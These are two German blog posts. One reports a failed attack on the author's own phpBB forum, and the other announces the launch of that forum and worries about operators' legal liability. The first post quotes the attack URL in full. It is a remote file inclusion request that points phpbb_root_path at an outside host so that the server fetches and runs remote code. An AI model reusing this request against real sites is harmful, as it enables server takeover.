Netter Versuch
Ist doch nett, wenn man mal abends auf seinem Blog sehen will was den Tag los war und dann bemerkt, dass jmd versucht, Zugriff auf mein Forum über einen phpBB-Komponente zu bekommen.
Traurig nur,dass ich ein eigenes phpBB-Plugin benutze, was ich selbst geschrieben habe und was ausnahmsweise nicht frei verfügbar ist.
Achja, wen es noch interessiert, hier der Link, bzw. der XSS der ausgeführt werden sollte.
"http://www.epyx-online.de//includes/functions_portal.php?phpbb_root_path=
http://www.motociclismo.pt/images/banners/canboy?"
Bleibt nur eines zu sagen : "Nix Functions_portal und nix Globale Variable!!!" Natürlich ausländische IPs, aus verschiedenen Ländern.
Nun doch endlich ein eigenes Forum
Nach langem Überlegen und viel Hin und Her habe ich mich durchgerungen, doch ein Forum neben des bestehenden Weblogs aufzusetzen und einzurichten.
Der Vorteil, der für mich dabei entscheidend war ist mehr oder weniger die Vielfalt der Themen. Ein relativ allgemein strukturiertes Forum bietet einfach mehr Transparenz und mehr Spielraum für eigene Bedürfnisse und Themen.
Wobei Weblogs natürlich eine klasse Sache sind, allerdings sind Kommentare von Besuchern immer auf die jeweilige Thematik beschränkt und es bleibt meiner Meinung nach relativ wenig Spielraum für Fragen oder Problemstellungen.
Das Problem meinerseits mit dem Forum bestand im Übrigen darin, dass der rechtlich Aspekt ungeklärt ist und war. Nach der richterlichen Entscheidung, dass Forenbetreiber für die Beträge der Nutzer haften und der damit verbundenen allgemeinen Angst vor einer Abmahnwelle ging es jedenfalls mir so, dass ich mir die Sache dann doch lieber zweimal überlegt hatte. Da ich mich nun dafür entschlossen habe das Forum doch zu betreiben, wird die Konsequenz natürlich sein, jeden Beitrag auf jede erdenkliche Möglichkeit zu filtern und eventuelle schwarze Schafe im Vorfeld anzugrenzen.
Auf jedenfall viel Spass mit dem Forum welches unter folgender Adresse zu erreichen ist.